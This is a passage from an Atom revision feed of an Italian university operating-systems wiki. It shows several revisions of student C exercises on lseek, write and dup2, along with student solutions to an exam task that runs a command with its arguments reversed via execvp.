&lt;div&gt;scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva &amp;quot;ciao&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main( int argc, char* argv[]){&lt;br /&gt;
	int f;&lt;br /&gt;
	f = open( argv[1] , O_WRONLY | O_CREAT );&lt;br /&gt;
	lseek( f , 1000000000 , SEEK_SET ) ;&lt;br /&gt;
	write( f , &amp;quot;ciao&amp;quot; , 4 ) ;&lt;br /&gt;
	return 0 ;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MILIONE 1000000&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int file;&lt;br /&gt;
   file = open(&amp;quot;./test.txt&amp;quot;, O_WRONLY | O_CREAT | O_TRUNC);&lt;br /&gt;
&lt;br /&gt;
   char* str = &amp;quot;ciao&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   lseek(file, MILIONE, SEEK_SET);&lt;br /&gt;
   write(file, str, 5);&lt;br /&gt;
   exit(0);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test dup2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int file;&lt;br /&gt;
   file = open(argv[1], O_WRONLY | O_CREAT | O_TRUNC);&lt;br /&gt;
&lt;br /&gt;
   dup2(file, 1);&lt;br /&gt;
   printf(&amp;quot;ciao\n&amp;quot;);&lt;br /&gt;
   exit(0);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=850</id>
		<title>Esempi del 02 dicembre 2014</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=850"/>
		<updated>2014-12-02T16:37:14Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva &amp;quot;ciao&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main( int argc, char* argv[]){&lt;br /&gt;
	int f;&lt;br /&gt;
	f = open( argv[1] , O_WRONLY | O_CREAT );&lt;br /&gt;
	lseek( f , 1000000000 , SEEK_SET ) ;&lt;br /&gt;
	write( f , &amp;quot;ciao&amp;quot; , 4 ) ;&lt;br /&gt;
	return 0 ;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MILIONE 1000000&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int file;&lt;br /&gt;
   file = open(&amp;quot;./test.txt&amp;quot;, O_WRONLY | O_CREAT | O_TRUNC);&lt;br /&gt;
&lt;br /&gt;
   char* str = &amp;quot;ciao&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   lseek(file, MILIONE, SEEK_SET);&lt;br /&gt;
   write(file, str, 5);&lt;br /&gt;
   exit(0);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test dup2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MILIONE 1000000&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int file;&lt;br /&gt;
   file = open(argv[1], O_WRONLY | O_CREAT | O_TRUNC);&lt;br /&gt;
&lt;br /&gt;
   dup2(file, 1);&lt;br /&gt;
   printf(&amp;quot;ciao\n&amp;quot;);&lt;br /&gt;
   exit(0);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=849</id>
		<title>Esempi del 02 dicembre 2014</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=849"/>
		<updated>2014-12-02T16:17:28Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva &amp;quot;ciao&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main( int argc, char* argv[]){&lt;br /&gt;
	int f;&lt;br /&gt;
	f = open( argv[1] , O_WRONLY | O_CREAT );&lt;br /&gt;
	lseek( f , 1000000000 , SEEK_SET ) ;&lt;br /&gt;
	write( f , &amp;quot;ciao&amp;quot; , 4 ) ;&lt;br /&gt;
	return 0 ;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MILIONE 1000000&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int file;&lt;br /&gt;
   file = open(&amp;quot;./test.txt&amp;quot;, O_WRONLY | O_CREAT | O_TRUNC);&lt;br /&gt;
&lt;br /&gt;
   char* str = &amp;quot;ciao&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   lseek(file, MILIONE, SEEK_SET);&lt;br /&gt;
   write(file, str, 5);&lt;br /&gt;
   exit(0);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=848</id>
		<title>Esempi del 02 dicembre 2014</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=848"/>
		<updated>2014-12-02T16:17:02Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva &amp;quot;ciao&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main( int argc, char* argv[]){&lt;br /&gt;
	int f;&lt;br /&gt;
	f = open( argv[1] , O_WRONLY | O_CREAT );&lt;br /&gt;
	lseek( f , 1000000000 , SEEK_SET ) ;&lt;br /&gt;
	write( f , &amp;quot;ciao&amp;quot; , 4 ) ;&lt;br /&gt;
	return 0 ;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MILIONE 1000000&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int file;&lt;br /&gt;
   file = open(&amp;quot;./test.txt&amp;quot;, O_WRONLY | O_CREAT | O_TRUNC);&lt;br /&gt;
&lt;br /&gt;
   char* str = &amp;quot;ciao&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   printf(&amp;quot;Scrivendo %s a %d\n&amp;quot;, str, file);&lt;br /&gt;
&lt;br /&gt;
   lseek(file, MILIONE, SEEK_SET);&lt;br /&gt;
   write(file, str, 5);&lt;br /&gt;
   exit(0);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=847</id>
		<title>Esempi del 02 dicembre 2014</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Esempi_del_02_dicembre_2014&amp;diff=847"/>
		<updated>2014-12-02T16:16:41Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva &amp;quot;ciao&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main( int argc, char* argv[]){&lt;br /&gt;
	int f;&lt;br /&gt;
	f = open( argv[1] , O_WRONLY | O_CREAT );&lt;br /&gt;
	lseek( f , 1000000000 , SEEK_SET ) ;&lt;br /&gt;
	write( f , &amp;quot;ciao&amp;quot; , 4 ) ;&lt;br /&gt;
	return 0 ;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define MILIONE 1000000&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int file;&lt;br /&gt;
   file = open(&amp;quot;./test.txt&amp;quot;, O_WRONLY | O_CREAT | O_TRUNC);&lt;br /&gt;
&lt;br /&gt;
   char* str = &amp;quot;ciao&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   printf(&amp;quot;Scrivendo %s a %d\n&amp;quot;, str, file);&lt;br /&gt;
&lt;br /&gt;
   lseek(file, MILIONE, SEEK_SET);&lt;br /&gt;
   write(file, str, 5);&lt;br /&gt;
   exit(0);&lt;br /&gt;
}&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Esercizio_1,_prova_pratica_12/02/2009&amp;diff=830</id>
		<title>Esercizio 1, prova pratica 12/02/2009</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Esercizio_1,_prova_pratica_12/02/2009&amp;diff=830"/>
		<updated>2014-11-24T10:07:05Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Ho provato a svolgere l'esercizio 1 dell'esame di laboratorio del 2 febbraio 2009 ([http://www.cs.unibo.it/~renzo/so/pratiche/2009.02.12.pdf]).&lt;br /&gt;
&lt;br /&gt;
Consegna:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Esercizio1 (obbligatorio): (10 punti)&lt;br /&gt;
Scrivere un programma C denominato “invarg” che esegua il programma passato come parametro invertendo gli argomenti.&lt;br /&gt;
Esempio:&lt;br /&gt;
invarg cat a b c&lt;br /&gt;
deve avere l'effetto di&lt;br /&gt;
cat c b a&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Soluzione di Maldus==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(int argc , char* argv[]){&lt;br /&gt;
	char *nargv[argc-1] ;	/*nargv è il vettore degli argomenti da passare al programma da eseguire*/&lt;br /&gt;
	int i , j ;		/*puntatori che scorrono, rispettivamente, argv ed nargv per riempire correttamente nargv*/&lt;br /&gt;
	nargv[0] = argv[1] ;	/*il primo valore di nargv deve essere il programma chiamato, l'ultimo deve essere NULL*/&lt;br /&gt;
	nargv[argc-1] = NULL ;&lt;br /&gt;
	for( i = argc - 1 , j = 1 ; i &amp;gt; 1 , j &amp;lt; (argc - 1) ; i-- , j++ ) nargv[j] = argv[i] ;	/*metto in nargv (dal secondo elemento in poi) gli argomenti presenti &lt;br /&gt;
in argv in ordine invertito*/&lt;br /&gt;
	execvp( nargv[0] , nargv  ) ;	/*eseguo il programma (il cui nome è contenuto in nargv[0]) passandogli nargv come vettore di parametri*/&lt;br /&gt;
	fprintf( stderr , &amp;quot;programma errato\n&amp;quot; ) ;	/*se ci troviamo in questo punto significa che la chiamata a execvp è fallita, probabilmente&lt;br /&gt;
 perchè il programma indicato non è stato trovato*/&lt;br /&gt;
	exit(1) ;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Soluzione di Eddy==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void scambia_ordine(int argc, char **argv, int j);&lt;br /&gt;
&lt;br /&gt;
int main(int argc , char* argv[])&lt;br /&gt;
{&lt;br /&gt;
	if (argc &amp;lt; 2) return 2;&lt;br /&gt;
	argv++;	argc--;&lt;br /&gt;
	scambia_ordine(argc, argv, 1);&lt;br /&gt;
	execvp(argv[0], argv);&lt;br /&gt;
	perror(&amp;quot;execvp&amp;quot;);&lt;br /&gt;
	return 3;	&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* piccola funzione ricorsiva che:&lt;br /&gt;
 * -memorizza in tmp gli argomenti dalla fine&lt;br /&gt;
 * -assegna ad argv in ordine inverso&lt;br /&gt;
 *&lt;br /&gt;
 *  non scambia il primo argomento&lt;br /&gt;
 */&lt;br /&gt;
void scambia_ordine(int argc, char **argv, int j)&lt;br /&gt;
{&lt;br /&gt;
	char *tmp;&lt;br /&gt;
	if (argc &amp;gt; 1){&lt;br /&gt;
		tmp = argv[argc-1];&lt;br /&gt;
		scambia_ordine (argc-1, argv, j+1);&lt;br /&gt;
		argv[j]=tmp;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
[[User:Eddy|Eddy]] ([[User talk:Eddy|talk]]) 21:00 Saturday, 22 November 2014 (CET)&lt;br /&gt;
&lt;br /&gt;
==Soluzione di GFede==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void scambia(int offset, int argc, char* argv[]);&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   if(argc &amp;lt;= 1)&lt;br /&gt;
   {&lt;br /&gt;
      printf(&amp;quot;Usage: invarg.exe command [arguments...]\n&amp;quot;);&lt;br /&gt;
      return 2;&lt;br /&gt;
   }&lt;br /&gt;
   scambia(2, argc - 1, argv);&lt;br /&gt;
&lt;br /&gt;
   execvp(argv[1], argv + 1);&lt;br /&gt;
   perror(&amp;quot;execvp&amp;quot;);&lt;br /&gt;
   return 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * Scambia le stringhe all'interno dell'array&lt;br /&gt;
 * void scambia&lt;br /&gt;
 * int offset     Indice da cui iniziare a scambiare&lt;br /&gt;
 * int argc       Numero di valori nell'array (Compreso l'offset)&lt;br /&gt;
 * char* argv[]   array di stringhe da scambiare&lt;br /&gt;
 */&lt;br /&gt;
void scambia(int offset, int argc, char* argv[])&lt;br /&gt;
{&lt;br /&gt;
   int i;&lt;br /&gt;
   char* tmp;&lt;br /&gt;
   for( i = offset; i &amp;lt; argc - i + offset; i++ )&lt;br /&gt;
   {&lt;br /&gt;
      tmp = argv[i];&lt;br /&gt;
      argv[i] = argv[argc - i + offset];&lt;br /&gt;
      argv[argc - i + offset] = tmp;&lt;br /&gt;
   }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
</feed>